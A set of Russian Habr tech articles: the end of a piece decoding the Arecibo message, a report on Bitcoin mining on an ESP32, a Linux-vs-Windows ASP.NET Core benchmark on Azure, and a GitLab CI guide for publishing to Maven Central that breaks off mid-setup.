plt.ylabel("Amplitude") plt.title("Signal") plt.show() ``` Результат нас вполне устраивает: ![](https://habrastorage.org/r/w1560/webt/7-/6e/dj/7-6edjmdb9krobft2ebozk3sua0.png) Разумеется, сигнал прошедший 22 тыс лет в космосе, скорее всего будет *немного* ослаблен, но для простоты будем считать что у инопланетян хорошие ~~и не китайские~~ радиоприемники… Из картинки легко можно определить ширину одного бита. Нам нужно вывести биты в виде изображения. Т.к. послание отправлялось внеземной цивилизации — тем кто, по определению, не знает «земных» систем кодирования — передать растровую картинку было единственным логичным решением. В созвездии Геркулеса скорее всего не знают что такое ASCII или упаси бог, Unicode, но вывести растр на экран скорее всего, можно в любой точке Галактики. По крайней мере, цивилизация способная принять цифровой сигнал, скорее всего имеет и какое-то подобие монитора для его отображения. Мы не знаем размера картинки, зато знаем размер одного бита и знаем размер всего сообщения. Можно просто перебрать все возможные варианты, благо их не так уж много: ``` ss = 1102 # Width of one symbol in samples for iw in range(12*ss, 25*ss, ss): w, h = iw, 80 image = Image.new('RGB', (w, h)) px, py = 0, 0 for p in range(data_f2.shape[0]): image.putpixel((px, py), (0, int(data_f2[p]//32), 0)) px += 1 if px >= w: px = 0 py += 1 if py >= h: break image = image.resize((w//10, 100*h)) image.save("1/image-%d.png" % iw) ``` Для наглядности картинку пришлось растянуть, ибо 23 пиксела ширины по сегодняшним меркам это мягко говоря, маловато. Конечный результат вполне виден: ![](https://habrastorage.org/r/w1560/webt/_u/gx/wz/_ugxwzccbi51in1s9iinf9wsx-w.png) Окончательный вариант: ![](https://habrastorage.org/r/w1560/webt/xp/sg/1c/xpsg1cupqqorkrzwvgcsff8o69q.png) В отличие от изображений [в Википедии](https://en.wikipedia.org/wiki/Arecibo_message), оригинальное изображение разумеется, является монохромным, какое-либо цветовое кодирование в сигнале отсутствует. В картинке закодировано много всего (условно конечно), например вертикальная прямая шириной 2 пиксела над головой человека — это спираль ДНК (ведь очевидно же, разве нет?). Расшифровку остальных пиктограмм можно посмотреть по ссылке выше в Википедии. Заключение ---------- Как можно видеть, в 210 байт можно закодировать довольно много информации. Вообще, сама по себе задача отправки сигнала в дальний космос является далеко не простой, т.к. можно надеяться лишь на самые простые методы модуляции. Дойдет ли сообщение до адресата? Разумеется, скорее всего, вряд ли. Я не знаю, оценивали ли при отправке энергетику такой «линии связи» и примерную чувствительность приемника, нужную чтобы получить сигнал. Да это на самом деле, не так и важно — если подобные акции вдохновят кого-либо на изучение космоса, значит это было не зря. Ну а точный ответ мы сможем получить через 44 тыс лет, и я постараюсь обновить текст по мере поступления новых данных ;)
https://habr.com/ru/post/530882/
null
ru
null
# Майнинг на микроконтроллере ESP32 оказался не очень выгоден ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/daa/676/754/daa6767549cb2e3d36487137f257d437.png) 20-летний немецкий программист Джейк описал [свой эксперимент](https://blog.ja-ke.tech/2019/03/16/esp32-bitcoin.html) по майнингу на микроконтроллере ESP32. ESP32 — серия недорогих микроконтроллеров, которые используются в некоторых гаджетах, например, в браслетах, умных лампах и [одноплатных компьютерах](https://en.wikipedia.org/wiki/ODROID). Майнинг на таких устройствах имеет мало смысла, но интересен как концептуальный эксперимент. Теоретически, можно представить, что в будущем количество умных устройств в мире кардинально увеличится. Возможно, кто-то уже сейчас продумывает технологию для создания гигантского многомиллиардого ботнета. Джейк говорит, что на этот проект его вдохновила инициатива коллеги по [майнингу на микроконтроллере ESP8266](https://www.instructables.com/id/ESP8266-Bitcoin-Miner/). Тот рассчитал вероятность успешного нахождения блока как 1 из 1e16. Блоки появляются каждые десять минут, так что это своеобразная лотерея, только шансы на выигрыш исчезающе малы. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/74c/3dd/000/74c3dd000e6e513ad532b6b740d7d411.jpg) *Майнинг на микроконтроллере ESP8266* Так или иначе, но для проверки концепции Джейк взял уже найденный блок [56333](http://learnmeabitcoin.com/browser/block/0000000000000000000740ba375bbafbb871e0e201ded9c260a8b6aa1537c3f0) и вычислил такие начальные параметры, чтобы микроконтроллер «нашёл» этот блок через небольшое количество раундов вычисления [двойного SHA256](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')SHA2('256')From_Hex('Auto')SHA2('256')Swap_endianness('Hex',32,false)&input=MDAwMDAwMjAKYTIxNzYyNGVmNzcyMWI5NTRjN2Q5Mzc1YWE4NWMxMzRlNWI3NjZkMjI2MGEyYzAwMDAwMDAwMDAwMDAwMDAwMAphNTEyNDI0OGZhNjJjYmVmMjJjMTI2OGNjMDI0ODZlY2ZiMDVjMjZkNDViYTQyZmY3ZTliMzQ2YzAwZGY2MGFmCjVkODA2ODVjCjg4NmYyZTE3Cjk0NGI0MDE5), как в реальной сети Bitcoin. Код [опубликован на Github](https://github.com/Jakeler/ESP32-Bitcoin). Он использует TLS-библиотеку mbed (см. [руководство](https://techtutorialsx.com/2018/05/10/esp32-arduino-mbed-tls-using-the-sha-256-algorithm/)), осуществляет хеширование, проверяет каждый полученный хеш, затем останавливается в случае валидного результата или увеличивает значение nonce в противном случае — и продолжает считать. Когда программа останавливается на валидном хеше, то выдаёт результат в консоль: `Started mining... Valid Block found! Hash: 0000000000000000000740ba375bbafbb871e0e201ded9c260a8b6aa1537c3f0 With nonce: 423644052 | 0x19404b94 In 10000 rounds, 831.635000 ms Hash Rate: 12.024506 kH/s` Как можно видеть, микроконтроллер майнит со скоростью 12 kH/s, то есть в десять раз быстрее, чем ESP8266. И это только одно ядро ESP32, пишет автор, так что потенциально скорость можно увеличить до 24 килохешей/с. Впрочем, даже десятикратное ускорение не позволит обогатиться. Сам автор подсчитал, что ботнет даже из 100 млн устройств намайнит всего лишь $150 в год. Если же майнить на единственном микроконтроллере, то он должен найти блок через 24 ZH / 24 kH/s = 1018 секунд = 277 777 млрд часов = 11 574 млрд дней = 31 млрд лет, что в два с половиной раза превышает возраст Вселенной.
https://habr.com/ru/post/444454/
null
ru
null
# Сравнение производительности ASP.NET Core-проектов на Linux и Windows в службе приложений Azure Что быстрее — [ASP.NET Core](https://docs.microsoft.com/ru-ru/aspnet/core/?view=aspnetcore-5.0)-приложение, развёрнутое в Docker-контейнере на Linux, или такая же программа, но запущенная на Windows-сервере, учитывая то, что всё это работает в [службе приложений Azure](https://docs.microsoft.com/ru-ru/azure/app-service/overview-hosting-plans)? Какая из этих конфигураций предлагает более высокий уровень производительности, и о каком «уровне производительности» можно говорить? [![](https://habrastorage.org/r/w780q1/webt/nx/4w/gv/nx4wgvof5jbmvyxjbn_5tx94k7o.jpeg)](https://habr.com/ru/company/ruvds/blog/555650/) Недавно меня заинтересовали эти вопросы, после чего я решил сам всё проверить, сделав следующее: * Подготовил простое ASP.NET Core-приложение, используя NET Core 2.0 и C#. * Развернул один экземпляр этого приложения в службе [Standard S1](https://azure.microsoft.com/ru-ru/pricing/details/app-service/windows/) на Windows-хосте, расположенном в регионе Western Europe. * Развернул ещё один экземпляр этого приложения в службе [Standard S1](https://azure.microsoft.com/ru-ru/pricing/details/app-service/windows/) с использованием Linux-хоста (регион Western Europe) и Docker-контейнера. * Для создания нагрузки на серверы использовал [Apache Benchmark](https://httpd.apache.org/docs/2.4/programs/ab.html), запросы отправлялись из Варшавы (Польша) с клиентской системы, работающей под управлением Ubuntu 17.04 и подключённой к интернету по Wi-Fi. * Повторил испытания, воспользовавшись средством [Visual Studio Web Performance Test](https://msdn.microsoft.com/en-us/library/ms182551(v=vs.110).aspx). Запросы к исследуемым серверам выполнялись из того же города, но в данном случае роль клиента выполнял компьютер, на котором установлена Windows 10, подключённый к интернету через проводную сеть. * Проанализировал данные, полученные в ходе тестирования, и сравнил результаты. В обоих случаях приложение собрано с использованием инструмента командной строки `dotnet` в конфигурации `Release`. Хостилось приложение с использованием кросс-платформенного сервера [Kestrel](https://docs.microsoft.com/ru-ru/aspnet/core/fundamentals/servers/kestrel?tabs=aspnetcore2x&view=aspnetcore-5.0) и было размещено за прокси-сервером, используемым службами Azure. В распоряжении каждого экземпляра приложения были ресурсы, обеспечиваемые планом обслуживания Standard S1, то есть — отдельная виртуальная машина. В ходе выполнения тестов я, кроме того, сравнил производительность ASP.NET Core-приложения, работающего в Docker-контейнере, с производительностью приложений, основанных на других стеках технологий, которые мне доводилось исследовать в последнее время (Go, Python 3.6.2, PyPy 3). В сервере Kestrel используется [libuv](https://en.wikipedia.org/wiki/Libuv) — поэтому мне интересно было сравнить его с [uvloop](https://github.com/MagicStack/uvloop), учитывая то, что последний является обёрткой для libuv и [asyncio](https://docs.python.org/3/library/asyncio.html) (это — встроенный инструмент Python для создания конкурентного кода). Я думаю, что многие NET-разработчики [гордятся](https://www.ageofascent.com/2016/02/18/asp-net-core-exeeds-1-15-million-requests-12-6-gbps/) скоростью Kestrel и работой, проведённой инженерами Microsoft, но при этом забывают о том, что им стоило бы испытывать чувство благодарности и к libuv — С-библиотеке для организации асинхронного ввода-вывода, которая появилась до Kestrel и используется, кроме того, в [Node.js](https://nodejs.org/en/) и в других подобных проектах. И, кроме того, стоит помнить о том, что, когда перед ASP.NET Core-приложениями находится IIS, нужно принимать во внимание некоторые дополнительные [соображения](https://weblog.west-wind.com/posts/2017/Mar/16/More-on-ASPNET-Core-Running-under-IIS). Подготовка веб-приложения ------------------------- Приложение основано на шаблоне веб-проекта, созданного с помощью [dotnet](https://docs.microsoft.com/ru-ru/dotnet/core/tools/dotnet-new?tabs=netcore2x). Я специально старался как можно меньше его усложнять. В нём имеется один обработчик, возвращающий ответы двух типов: * При получении запроса без параметров — сообщение `Hello World` с отметкой времени. * При получении запроса со строковым параметром `n`, представляющим собой число, находящееся в диапазоне от 1 до 100 — ответ с телом размером `n` Кб. ```   app.Run(async (context) =>   {       var request = context.Request;       var s = request.Query["s"];       if (string.IsNullOrEmpty(s)) {           // возврат простого Hello World           var now = DateTime.UtcNow;           await context.Response.WriteAsync($"Hello World, from ASP.NET Core and Net Core 2.0! {now.ToString("yyyy-MM-dd HH:mm:ss.FFF")}");           return;       }       // {...}   }); ``` Развёртывание приложения на Windows-машине ------------------------------------------ Для развёртывания проекта на Windows-машине я быстро создал проект в [VSTS](https://www.visualstudio.com/team-services/) (Visual Studio Team Services), настроил службы с использованием [шаблонов ARM](https://github.com/RobertoPrevato/ASPNetCoreHelloWorld/tree/master/webhelloworld/arm), собрал и развернул приложение с применением задач VSTS. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/59a/3b3/396/59a3b3396c89236c8d0d459a06f1ca16.png) *Настройка проекта* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/90b/753/34b/90b75334bd49747bd98fa4b642f53fe8.png) *Работа с Windows-проектом в Microsoft Azure* В [этом](https://github.com/RobertoPrevato/ASPNetCoreHelloWorld) GitHub-репозитории вы можете найти код приложения и ARM-шаблоны. Развёртывание приложения на Linux-машине с использованием Docker-контейнеров ---------------------------------------------------------------------------- Образ Docker был подготовлен и опубликован с использованием того же подхода, о котором я уже [писал](https://robertoprevato.github.io/Running-Docker-applications-in-Azure/), рассказывая о запуске образов Docker в Azure. Так как я уже об этом рассказывал, повторяться тут я не буду. Единственное, на что я хочу обратить ваше внимание — это то, что в одной группе ресурсов Azure нельзя смешивать планы служб приложений, рассчитанные на Linux и Windows. Поэтому для каждого из вариантов приложения я создал собственную группу ресурсов. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/dbe/5c7/547/dbe5c7547cbf644e1a0c81ca02818163.png) *Работа с Linux-проектом в Microsoft Azure* Код приложения и файлы для создания образов Docker можно найти в [этом](https://github.com/RobertoPrevato/AzureDocker) репозитории. Тестирование приложений с использованием Apache Benchmark --------------------------------------------------------- Мне нравится утилита [Apache Benchmark](https://httpd.apache.org/docs/2.4/programs/ab.html) (ab). Ей удобно пользоваться и она выдаёт результаты, применимые при практической оценке производительности систем, такие, как количество запросов в секунду (Requests Per Second, RPS), время ответа на разных перцентилях (например — сведения о том, что 95% запросов обрабатывается в пределах `n` мс, а 5% — в пределах `m` мс, и так далее). Эта утилита идеально подходит для исследования производительности отдельных методов. Я выполнил несколько групп тестов, каждую — в разное время дня. План испытаний выглядел так: | | | | --- | --- | | **Сценарий** | **Конфигурация** | | Hello World | 5000 запросов, 150 одновременных пользователей | | Ответ с телом в 1 Кб | 5000 запросов, 150 одновременных пользователей | | Ответ с телом в 10 Кб | 2000 запросов, 150 одновременных пользователей | | Ответ с телом в 100 Кб | 2000 запросов, 150 одновременных пользователей | ``` # пример команды ab -n 5000 -c 150 -l http://linuxaspcorehelloworld-dev-westeurope-webapp.azurewebsites.net/ ``` Выходные данные ab выглядят примерно так: ``` This is ApacheBench, Version 2.3 <$Revision: 1757674 $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking linuxaspcorehelloworld-dev-westeurope-webapp.azurewebsites.net (be patient) Server Software:        Kestrel Server Hostname:        linuxaspcorehelloworld-dev-westeurope-webapp.azurewebsites.net Server Port:            80 Document Path:          / Document Length:        72 bytes Concurrency Level:      150 Time taken for tests:   22.369 seconds Complete requests:      5000 Failed requests:        0 Keep-Alive requests:    0 Total transferred:      1699416 bytes HTML transferred:       359416 bytes Requests per second:    223.53 [#/sec] (mean) Time per request:       671.065 [ms] (mean) Time per request:       4.474 [ms] (mean, across all concurrent requests) Transfer rate:          74.19 [Kbytes/sec] received Connection Times (ms)               min  mean[+/-sd] median   max Connect:       40  489 289.9    425    3813 Processing:    42  170 227.6    109    3303 Waiting:       41  153 152.9    105    2035 Total:        106  659 359.2    553    4175 Percentage of the requests served within a certain time (ms)   50%    553   66%    650   75%    750   80%    786   90%    948   95%   1036   98%   1282   99%   1918  100%   4175 (longest request) ``` И, наконец, я собрал результаты воедино с использованием Python-скрипта, после чего посчитал средние показатели по всем тестам и построил графики двух видов: * Количество запросов в секунду (Requests per seconds, RPS), обработанных сервером. * 95-й перцентиль времени ответа, другими словами — показатель, отвечающий на вопрос о том, в пределах какого количества миллисекунд будет дан ответ на 95% запросов. Анализ результатов, полученных с помощью Apache Benchmark --------------------------------------------------------- В ходе выполнения тестовых сценариев «Hello World» и «Ответ с телом в 1 Кб» на серверы было отправлено около 250 тысяч запросов. Их количество для сценариев, в которых применялись ответы с телом размером 10 Кб и 100 Кб, находилось в районе 110 — 70 тысяч запросов. Эти показатели не выражены в точных цифрах, так как иногда инфраструктура Azure закрывает соединения (connection reset by peer), но количество проанализированных запросов, всё равно, является достаточно большим. Не обращайте особого внимания на абсолютные значения, приводимые ниже: они имеют смысл лишь в плане сравнения друг с другом, так как они зависят и от клиента, и от сервера. Результаты, показанные в следующей таблице, получены с использованием клиента, подключённого к интернету по Wi-Fi-сети. | | | | | | --- | --- | --- | --- | | **Хост** | **Сценарий** | **RPS (среднее значение)** | **95% запросов выполнено в пределах … мс** | | Linux | Hello World | 232,61 | 1103,64 | | Linux | Ответ с телом в 1 Кб | 228,79 | 1129,93 | | Linux | Ответ с телом в 10 Кб | 117,92 | 1871,29 | | Linux | Ответ с телом в 100 Кб | 17,84 | 14321,78 | | Windows | Hello World | 174,62 | 1356,8 | | Windows | Ответ с телом в 1 Кб | 171,59 | 1367,23 | | Windows | Ответ с телом в 10 Кб | 108,08 | 2506,95 | | Windows | Ответ с телом в 100 Кб | 17,37 | 16440,27 | Эти результаты позволяют сделать вывод о том, что, если тело ответа невелико, приложение, работающее в Docker-контейнере на Linux, гораздо быстрее обрабатывает HTTP-запросы, чем его версия, работающая в среде Windows. Разница между разными вариантами запуска приложения уменьшается по мере роста тела ответа, хотя, всё равно, Linux-вариант оказывается быстрее Windows-варианта. Такой результат может показаться удивительным, так как Windows-сервер, работающий в службе приложений Azure, представляет собой более зрелое решение, нежели Linux-сервер, работающий там же. С другой стороны, виртуализация Docker, в сравнении с другими технологиями виртуализации приложений, не отличается особой требовательностью к системным ресурсам. Возможно, имеются и другие отличия в конфигурациях, позволяющие Linux-хосту работать эффективнее, что особенно заметно при работе с ответами, тела которых невелики. | | | | --- | --- | | **Сценарий** | **Linux, прирост RPS в сравнении с Windows** | | Hello World | +33,21% | | Ответ с телом в 1 Кб | +33,33% | | Ответ с телом в 10 Кб | +9,1% | | Ответ с телом в 100 Кб | +2,7% | Вот диаграммы, иллюстрирующие вышеприведённые данные. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/fe2/eb3/b82/fe2eb3b82e711922a4b2fa8691cedefa.png) *Запросов в секунду, средний показатель (больше — лучше)* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/c24/8b2/720/c248b2720acc195e8e5dd12d0cb79897.png) *Время, в течение которого обрабатываются 95% запросов (меньше — лучше)* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/300/d2f/785/300d2f785f74b6378e00fab01b0b552f.png) *Время, в течение которого обрабатываются 95% запросов (меньше — лучше)* Тестирование приложений с использованием инструментов Visual Studio Web Performance ----------------------------------------------------------------------------------- Вышеописанные испытания производительности были повторены с использованием инструментов Visual Studio Ultimate Web Performance. Клиентская система, в географическом смысле, располагалась там же, где и раньше, но в этот раз она была подключена к интернету по проводной сети. Вот исходный код тестов. В данном случае использовались следующие настройки: * Тесты выполнялись по 5 минут. * В начале количество пользователей равнялось 50. * Каждые 10 секунд количество пользователей увеличивалось на 10. * Максимальным количеством пользователей было 150. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/ed5/7bc/706/ed57bc706ef66af6c40a0ddfb22269e8.png) *Тестирование серверов с помощью Visual Studio Web Performance ([оригинал](https://raw.githubusercontent.com/RobertoPrevato/ASPNetCoreHelloWorld/master/PerformanceTests/load-test-settings.PNG))* Анализ результатов, полученных с помощью Visual Studio Web Performance ---------------------------------------------------------------------- Результаты тестов, проведённых с помощью Visual Studio Web Performance, отличаются от тех, что были проведены с помощью Apache Benchmark, но при этом Linux-система показала себя даже лучше, чем прежде. Различия в результатах испытаний можно объяснить следующими фактами: * Инструменты VS Web Performance, вероятно, по-другому работают с соединениями. * Для выполнения тестов использовались разные клиенты, по-разному подключённые к интернету. Но, всё равно, допустимо напрямую сравнивать результаты испытаний только тогда, когда они выполнены с использованием одного и того же клиента, с применением одних и тех же инструментов и настроек. | | | | | | --- | --- | --- | --- | | **Хост** | **Сценарий** | **RPS (среднее значение)** | **95% запросов выполнено в пределах … мс** | | Linux | Hello World | 649 | 340 | | Linux | Ответ с телом в 1 Кб | 622 | 380 | | Linux | Ответ с телом в 10 Кб | 568 | 370 | | Linux | Ответ с телом в 100 Кб | 145 | 1220 | | Windows | Hello World | 391 | 400 | | Windows | Ответ с телом в 1 Кб | 387 | 420 | | Windows | Ответ с телом в 10 Кб | 333 | 510 | | Windows | Ответ с телом в 100 Кб | 108 | 1560 | Вот таблица со сравнением Linux- и Windows-вариантов приложения. | | | | --- | --- | | **Сценарий** | **Linux, прирост RPS в сравнении с Windows** | | Hello World | +65,98% | | Ответ с телом в 1 Кб | +60,72% | | Ответ с телом в 10 Кб | +70,57% | | Ответ с телом в 100 Кб | +34,26% | Вот визуализация этих данных. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d9f/bd1/0cc/d9fbd10cc2aa6e218ae1f01f20b2639a.png) *Запросов в секунду, средний показатель (больше — лучше)* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e5c/a41/1da/e5ca411da1f2d0c91c9e674577df8b70.png) *Время, в течение которого обрабатываются 95% запросов (меньше — лучше)* Сравнение с другими стеками технологий в Docker ----------------------------------------------- Я могу провести сравнение Linux+Docker-варианта исследуемого приложения с приложениями, при создании которых использовались другие технологии, испытанные мной за последние дни, лишь используя сценарий «Hello, World». Но при этом не могу не отметить, что даже при таком походе производительность Windows-варианта выглядит слишком низкой. Думаю, что стандартная конфигурация Kestrel (например — количество потоков) не оптимизирована для планов Standard S1. Например — вот средние значения RPS, полученные для других стеков технологий, испытания которых проводились с использованием тех же настроек. | | | | --- | --- | | **Стек технологий** | **Сценарий Hello World, RPS** | | Go 1.9.1 net/http | ~1000, с пиками в ~1100 | | Python 3.6.1 uvloop, httptools | ~1000, с пиками в ~1200 | | Python 3.6.1 Sanic, uvloop | ~600, с пиками в ~650 | | PyPy 3, Gunicorn, Gevent, Flask | ~600, с пиками в ~650 | Эти результаты не снижают ценности ранее выполненных испытаний, в ходе которых одно и то же ASP.NET Core-приложение исследовалось в средах Windows и Linux. Итоги ----- Развёртывание проектов в службе приложений Azure с использованием Linux и Docker не ухудшает производительности приложений, что идёт вразрез с тем, чего многие могли бы ожидать, учитывая то, что Windows-хостинг этой платформы представляет собой более зрелое решение. Применение Linux в Azure, на самом деле, выгоднее применения Windows, особенно — в тех случаях, когда речь идёт об обработке запросов, предусматривающих отправку ответов, тела которых имеют небольшие размеры. Чем вы пользуетесь на серверах — Linux или Windows? [![](https://habrastorage.org/r/w1560/webt/ou/g5/kh/oug5kh6sjydt9llengsiebnp40w.png)](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=sravnenie_proizvoditelnosti_asp_net_core-proektov_na_linux_i_windows_v_sluzhbe_prilozhenij_azure)
https://habr.com/ru/post/555650/
null
ru
null
# Настройка GitLab CI для загрузки java проекта в maven central ![](https://habrastorage.org/r/w1560/webt/-n/eo/sy/-neosy2o8kbns2qqpowdproryc4.png) Данная статья рассчитана на java разработчиков, у которых возникла потребность быстро публиковать свои продукты в репозиториях sonatype и/или maven central с использованием GitLab. В данной статье я расскажу про настройку gitlab-runner, gitlab-ci и maven-plugin для решения данной задачи. Предпосылки: ------------ * Безопасное хранение mvn и GPG ключей. * Безопасное выполнение публичных CI задач. * Загрузка артефактов (release/snapshot) в публичные репозитории. * Автоматическая проверка release-версий для публикации в maven central. * Общее решение по загрузке артефактов в репозиторий для нескольких проектов. * Простота и удобство использования. Содержание ---------- * [Общая информация](#general_information) * [Настройка deploy роекта в GitLab](#gitlab_deploy_project) * [GitLab Runner](#gitlab_runner) + [Specific Runner](#specific_runner) - [Установка gitlab runner](#install_gitlab_runner) - [Генерация GPG ключей](#specific_runner_gpg) - [Настройка Maven](#specific_runner_maven) + [Shared Runner](#shared_runner) - [Генерация GPG ключей](#shared_runner_gpg) - [Настройка Maven](#shared_runner_maven) - [Deploy docker image](#shared_runner_deploy_docker_image) * [GitLab CI](#gitlab_ci) + [Deploy project](#gitlab_ci_deploy_project) + [Java project](#gitlab_ci_java_project) * [Конфигурация pom.xml](#java_project_pom_xml_conf) + [maven-install-plugin](#maven_install_plugin) + [maven-javadoc-plugin](#maven_javadoc_plugin) + [maven-gpg-plugin](#maven_gpg_plugin) + [nexus-staging-maven-plugin](#maven_staging_maven_plugin) * [Результат](#result) + [Публикация snapshot версии](#snapshot_version_publication) + [Публикация release версии](#release_version_publication) * [Заключение](#conclusion) Общая информация ---------------- * Подробное описание механизма публикации артефактов в Maven Central через Sonatype OSS Repository Hosting Service уже описано в [данной статье](https://habr.com/ru/post/171493/) пользователем [Googolplex](https://habr.com/ru/users/googolplex/), поэтому в нужных местах буду ссылаться на данную статью. * Предварительно регистрируемся в [Sonatype JIRA](https://issues.sonatype.org/secure/Dashboard.jspa) и заводим тикет на открытие репозитория (более подробно читать раздел [Создаём тикет на Sonatype JIRA](https://habr.com/ru/post/171493/)). После открытия репозитория пара логин/пароль от JIRA (далее учетная запись Sonatype) будет использоваться для загрузки артефактов в Sonatype nexus. * Далее процесс генерации GPG ключа описан весьма сухо. Более подробно смотреть раздел [Настройка GnuPG для подписи артефактов](https://habr.com/ru/post/171493/) * Если вы используете Linux консоль для генерации GPG ключа (gnupg/gnupg2), то необходимо установить [rng-tools](https://wiki.archlinux.org/index.php/Rng-tools) для генерации энтропии. В противном случае генерация ключа может проходить очень долго. * Сервисы хранения **публичных** GPG ключей + <http://keys.gnupg.net> + <http://pool.sks-keyservers.net> + <http://keyserver.ubuntu.com> [К содержанию](#toc) Настройка deploy-проекта в GitLab --------------------------------- * В первую очередь необходимо создать и настроить проект, в котором будет храниться pipeline, для деплоя артефактов. Свой проект я назвал просто и незамысловато — [deploy](https://gitlab.com/TouchBIT/deploy) * После создания репозитория, необходимо ограничить доступ на изменение репозитория. Переходим в проект -> Settings -> Repository -> Protected Branches. Удаляем все правила и добавляем единственное правило с Wildcard \* с правом на push и merge только для пользователей с ролью Maintainers. Данное правило будет работать для всех пользователей как данного проекта, так и группы в которую данный проект входит. [![](https://habrastorage.org/r/w1560/webt/b0/5d/-r/b05d-r0wepfttklyowl01keoohs.png)](https://hsto.org/webt/b0/5d/-r/b05d-r0wepfttklyowl01keoohs.png) * Если мейнтейнеров несколько, то лучшим решением будет ограничить доступ к проекту в принципе. Переходим в проект -> Settings -> General -> Visibility, project features, permissions и выставляем Project visibility в значение **Private**. У меня проект в публичном доступе, так как я использую собственный GitLab Runner и доступ на изменение репозитория есть только у меня. Ну и собственно не в моих интересах светить приватную информацию в публичных pipeline-логах. * Ужесточение правил на изменение репозитория Переходим в проект -> Settings -> Repository -> Push Rules и устанавливаем флаги Committer restriction, Check whether author is a GitLab user. Так же рекомендую настроить [подпись коммитов](https://gitlab.com/help/user/project/repository/gpg_signed_commits/index.md), и установить флаг Reject unsigned commits. * Далее требуется настроить триггер для запуска задач Переходим в проект -> Settings -> CI / CD -> Pipeline triggers и создаем новый trigger-token Данный токен можно сразу добавить в общую конфигурацию переменных для группы проектов. Переходим в группу -> Settings -> CI / CD -> Variables и добавляем переменную `DEPLOY_TOKEN` с trigger-token в значении. [К содержанию](#toc) GitLab Runner ------------- В данном разделе описана конфигурация для запуска задач на deploy с использованием собственного (Specific) и публичного (Shared) раннера. ### Specific Runner Я использую собственные раннеры, так как в первую очередь это удобно, быстро, дешево. Для раннера рекомендую линуксовую VDS с 1 CPU, 2 GB RAM, 20 GB HDD. Цена вопроса ~3000₽ в год. **Мой раннер**Для раннера я взял VDS 4 CPU, 4 GB RAM, 50 GB SSD. Обошлась ~11000₽ и ни разу не пожалел. У меня в общей сложности 7 машинок. 5 на aruba и 2 на ihor. Итак, у нас есть раннер. Теперь мы его будем настраивать. Заходим на машинку по SSH и устанавливаем java, git, maven, gnupg2. [К содержанию](#toc) #### Устанавливаем gitlab runner * Создаем новую группу `runner` ``` sudo groupadd runner ``` * Создаем директорию для maven кэша и навешиваем права группы `runner` Этот пункт можно пропустить, если вы не планируете запускать несколько раннеров на одной машине. ``` mkdir -p /usr/cache/.m2/repository chown -R :runner /usr/cache chmod -R 770 /usr/cache ``` * Создаем пользователя `gitlab-deployer` и добавляем в группу `runner` ``` useradd -m -d /home/gitlab-deployer gitlab-deployer usermod -a -G runner gitlab-deployer ``` * Добавляем в файл `/etc/ssh/sshd_config` следующую строчку ``` AllowUsers root@* gitlab-deployer@127.0.0.1 ``` * Перезагружаем `sshd` ``` systemctl restart sshd ``` * Устанавливаем пароль для пользователя `gitlab-deployer` (можно простой, так как действует ограничение для localhost) ``` passwd gitlab-deployer ``` * Устанавливаем GitLab Runner (Linux x86-64) ``` sudo wget -O /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64 sudo chmod +x /usr/local/bin/gitlab-runner ln -s /usr/local/bin/gitlab-runner /etc/alternatives/gitlab-runner ln -s /etc/alternatives/gitlab-runner /usr/bin/gitlab-runner ``` * Переходим на сайт gitlab.com -> deploy-project -> Settings -> CI/CD -> Runners -> Specific Runners и копируем registration token **Скрин**[![](https://habrastorage.org/r/w1560/webt/h3/zy/qc/h3zyqcfkjj2hrcfiopmdha94zci.png)](https://hsto.org/webt/h3/zy/qc/h3zyqcfkjj2hrcfiopmdha94zci.png) * Регистрируем раннер ``` gitlab-runner register --config /etc/gitlab-runner/gitlab-deployer-config.toml ``` **Процесс** ``` Runtime platform arch=amd64 os=linux pid=17594 revision=3001a600 version=11.10.0 Running in system-mode. Please enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/): https://gitlab.com/ Please enter the gitlab-ci token for this runner: REGISTRATION_TOKEN Please enter the gitlab-ci description for this runner: [ih1174328.vds.myihor.ru]: Deploy Runner Please enter the gitlab-ci tags for this runner (comma separated): deploy Registering runner... succeeded runner=ZvKdjJhx Please enter the executor: docker-ssh, parallels, virtualbox, docker-ssh+machine, kubernetes, docker, ssh, docker+machine, shell: shell Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded! ``` * Проверяем, что раннер зарегистрирован. Переходим на сайт gitlab.com -> deploy-project -> Settings -> CI/CD -> Runners -> Specific Runners -> Runners activated for this project **Скрин**[![](https://habrastorage.org/r/w1560/webt/kg/i_/nb/kgi_nbwmtetx0gulyzwqvp6g_ps.png)](https://hsto.org/webt/kg/i_/nb/kgi_nbwmtetx0gulyzwqvp6g_ps.png) * Добавляем **отдельный** сервис `/etc/systemd/system/gitlab-deployer.service` ``` [Unit] Description=GitLab Deploy Runner After=syslog.target network.target ConditionFileIsExecutable=/usr/local/bin/gitlab-runner [Service] StartLimitInterval=5 StartLimitBurst=10 ExecStart=/usr/local/bin/gitlab-runner "run" "--working-directory" "/home/gitlab-deployer" "--config" "/etc/gitlab-runner/gitlab-deployer-config.toml" "--service" "gitlab-deployer" "--syslog" "--user" "gitlab-deployer" Restart=always RestartSec=120 [Install] WantedBy=multi-user.target ``` * Запускаем сервис. ``` systemctl enable gitlab-deployer.service systemctl start gitlab-deployer.service systemctl status gitlab-deployer.service ``` * Проверяем, что раннер запущен. **Пример**[![](https://habrastorage.org/r/w1560/webt/_c/4p/d-/_c4pd-_ed8fznhlgvzwjosatire.png)](https://hsto.org/webt/_c/4p/d-/_c4pd-_ed8fznhlgvzwjosatire.png) [К содержанию](#toc) #### Генерация GPG ключей * С этой же машинки заходим по ssh под пользователем `gitlab-deployer` (это важно для генерации GPG ключа) ``` ssh 